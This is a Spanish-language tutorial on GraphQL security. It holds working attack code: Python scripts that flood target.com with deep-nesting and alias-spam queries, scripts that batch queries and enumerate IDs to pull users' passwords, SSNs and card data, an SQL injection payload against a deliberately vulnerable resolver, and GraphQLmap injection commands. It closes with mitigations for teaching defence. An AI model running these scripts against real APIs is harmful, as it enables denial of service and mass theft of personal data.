GraphQL - El Nuevo Vector de Ataque
GraphQL es un lenguaje de consultas para APIs que permite a los clientes solicitar exactamente los datos que necesitan. Pero esta flexibilidad introduce nuevos vectores de ataque: DoS via queries complejas, exfiltración masiva, y bypass de rate limiting.
1. Schema Introspection - Mapear la API
Por defecto, GraphQL permite introspection: consultar el schema completo incluyendo queries, mutations, tipos y campos privados.
query IntrospectionQuery {
__schema {
queryType {
name
fields {
name
description
args {
name
type {
name
kind
}
}
}
}
mutationType {
name
fields {
name
args {
name
type {
name
}
}
}
}
types {
name
kind
fields {
name
type {
name
}
}
}
}
}2. Query Depth Attack - DoS
GraphQL permite queries anidadas. Un atacante puede crear queries extremadamente profundas que consumen CPU/memoria.
query DeepQuery {
user(id: 1) {
posts {
author {
posts {
author {
posts {
author {
posts {
# ... repetir 100 veces
}
}
}
}
}
}
}
}
}def generate_deep_query(depth=100):
query = "query DeepAttack { user(id: 1) { "
for i in range(depth):
query += "posts { author { "
# Cerrar todos los brackets
query += "id " + "} " * (depth * 2) + "} }"
return query
# Generar query de 1000 niveles
malicious_query = generate_deep_query(1000)
# Enviar a API GraphQL
import requests
response = requests.post(
'https://target.com/graphql',
json={'query': malicious_query}
)
# Resultado: Servidor timeout o crash por consumo de memoria3. Batching Abuse - Bypass Rate Limiting
GraphQL permite enviar múltiples queries en un solo request. Esto puede usarse para bypassear rate limiting basado en número de requests.
[
{"query": "query { user(id: 1) { email password } }"},
{"query": "query { user(id: 2) { email password } }"},
{"query": "query { user(id: 3) { email password } }"},
...
{"query": "query { user(id: 1000) { email password } }"}
]import requests
GRAPHQL_URL = "https://target.com/graphql"
# Generar batch de queries
def generate_batch(start_id, batch_size=100):
queries = []
for user_id in range(start_id, start_id + batch_size):
queries.append({
"query": f"""
query {{
user(id: {user_id}) {{
id
email
password
ssn
creditCard
}}
}}
"""
})
return queries
# Exfiltrar 10,000 usuarios en batches de 100
all_users = []
for batch_start in range(1, 10000, 100):
batch = generate_batch(batch_start, 100)
# 1 request = 100 queries
response = requests.post(GRAPHQL_URL, json=batch)
if response.status_code == 200:
all_users.extend(response.json())
print(f"[+] Exfiltrated batch {batch_start}-{batch_start+99}")
time.sleep(1) # Rate limit es por request, no por query
print(f"[+] Total users stolen: {len(all_users)}")4. Field Duplication - Resource Exhaustion
query FieldSpam {
user(id: 1) {
email1: email
email2: email
email3: email
email4: email
...
email10000: email
}
}def generate_field_spam(field_name='email', count=10000):
query = "query FieldSpam { user(id: 1) { "
for i in range(count):
query += f"{field_name}{i}: {field_name} "
query += "} }"
return query
# Generar query con 50,000 aliases
malicious = generate_field_spam('email', 50000)
# Resultado: Servidor consume GB de memoria procesando respuesta5. IDOR en GraphQL
GraphQL facilita IDOR porque permite acceso directo a objetos por ID sin pasar por controladores intermedios.
query GetInvoice {
invoice(id: 12345) { ← Cambiar ID a cualquier valor
id
total
creditCard
billingAddress
items {
name
price
}
}
}import requests
GRAPHQL_URL = "https://target.com/graphql"
def enumerate_invoices(start=1, end=10000):
invoices = []
for invoice_id in range(start, end):
query = f"""
query {{
invoice(id: {invoice_id}) {{
id
userId
total
creditCard
}}
}}
"""
response = requests.post(GRAPHQL_URL, json={'query': query})
if response.status_code == 200:
data = response.json()['data']['invoice']
if data:
print(f"[!] IDOR: Invoice {invoice_id} belongs to user {data['userId']}")
invoices.append(data)
return invoices
# Exfiltrar 10,000 facturas
stolen_invoices = enumerate_invoices(1, 10000)6. SQL Injection en Resolvers
const resolvers = {
Query: {
searchUsers: async (parent, args, context) => {
const { query } = args;
// [X] VULNERABLE - Concatenación directa
const sql = `
SELECT * FROM users
WHERE username LIKE '%${query}%'
OR email LIKE '%${query}%'
`;
return await db.query(sql);
}
}
};query SearchUsers {
searchUsers(query: "admin' UNION SELECT password, email, ssn FROM admins--") {
id
username
email
}
}7. Herramientas de Testing
GraphQL Voyager
# Instalar
npm install -g graphql-voyager
# Usar online
https://graphql-kit.com/graphql-voyager/
# Input: URL del endpoint GraphQL
# Output: Diagrama visual del schema completoInQL - Burp Extension
GraphQLmap
git clone https://github.com/swisskyrepo/GraphQLmap
cd GraphQLmap
python3 graphqlmap.py -u https://target.com/graphql
# Comandos disponibles:
dump_new # Introspection completa
dump_old # Introspection legacy
nosqli # Test NoSQL injection
sqli # Test SQL injection
exec # Command injectionMitigación Completa
1. Deshabilitar Introspection en Producción
const { ApolloServer } = require('apollo-server');
const server = new ApolloServer({
typeDefs,
resolvers,
// [OK] Deshabilitar introspection en producción
introspection: process.env.NODE_ENV !== 'production',
// [OK] Deshabilitar playground en producción
playground: process.env.NODE_ENV !== 'production',
});2. Query Depth Limiting
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
// [OK] Máximo 5 niveles de profundidad
depthLimit(5)
]
});
// Query con 6 niveles será rechazada automáticamente3. Query Complexity Analysis
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
createComplexityLimitRule(1000, {
// Asignar costos a campos
scalarCost: 1,
objectCost: 10,
listFactor: 10,
// Callbacks para costos dinámicos
onCost: (cost) => {
console.log(`Query cost: ${cost}`);
}
})
]
});
// Ejemplo:
// user { posts { comments } } = 10 + 10*10 + 10*10*10 = 1110
// Si > 1000, query es rechazada4. Rate Limiting por Query Count
const { ApolloServer } = require('apollo-server-express');
const rateLimit = require('express-rate-limit');
// [OK] Middleware para contar queries en batch
app.use('/graphql', (req, res, next) => {
const operations = Array.isArray(req.body) ? req.body.length : 1;
// Limitar a máximo 10 queries por batch
if (operations > 10) {
return res.status(400).json({
error: 'Too many operations in batch (max 10)'
});
}
// Aplicar rate limit basado en número de queries
req.rateLimit = {
weight: operations
};
next();
});
// Rate limiter que considera peso de batch
const limiter = rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: (req) => 100 / (req.rateLimit?.weight || 1),
message: 'Too many queries'
});
app.use('/graphql', limiter);5. Validación de Ownership en Resolvers
const resolvers = {
Query: {
invoice: async (parent, args, context) => {
const { id } = args;
const currentUserId = context.user.id;
// [OK] SEGURO - Buscar con ownership check
const invoice = await db.invoices.findOne({
where: {
id: id,
userId: currentUserId // ← Verificar ownership
}
});
if (!invoice) {
throw new Error('Invoice not found');
}
return invoice;
}
}
};6. Prepared Statements en Resolvers
const resolvers = {
Query: {
searchUsers: async (parent, args, context) => {
const { query } = args;
// [OK] SEGURO - Usar placeholders
const sql = `
SELECT * FROM users
WHERE username LIKE ?
OR email LIKE ?
`;
const searchPattern = `%${query}%`;
return await db.query(sql, [searchPattern, searchPattern]);
}
}
};
